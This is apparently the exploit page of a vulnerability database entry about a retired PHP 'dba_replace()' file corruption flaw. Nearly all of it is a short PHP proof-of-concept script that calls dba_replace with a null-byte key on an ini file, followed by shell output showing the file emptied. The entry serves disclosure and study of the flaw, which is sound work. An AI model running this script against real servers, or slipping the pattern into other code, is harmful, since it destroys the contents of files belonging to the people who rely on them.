• info
• discussion
• exploit
• solution
• references

RETIRED: PHP 'dba_replace() ' File Corruption Vulnerability

The following example script is available:

# cat /www/dba.ham.php
<?php
$source=dba_open("/www/about.ini", "wlt", "inifile");
dba_replace("\0","/www/",$source);
?>
# php /www/dba.ham.php
# cat /www/about.ini
#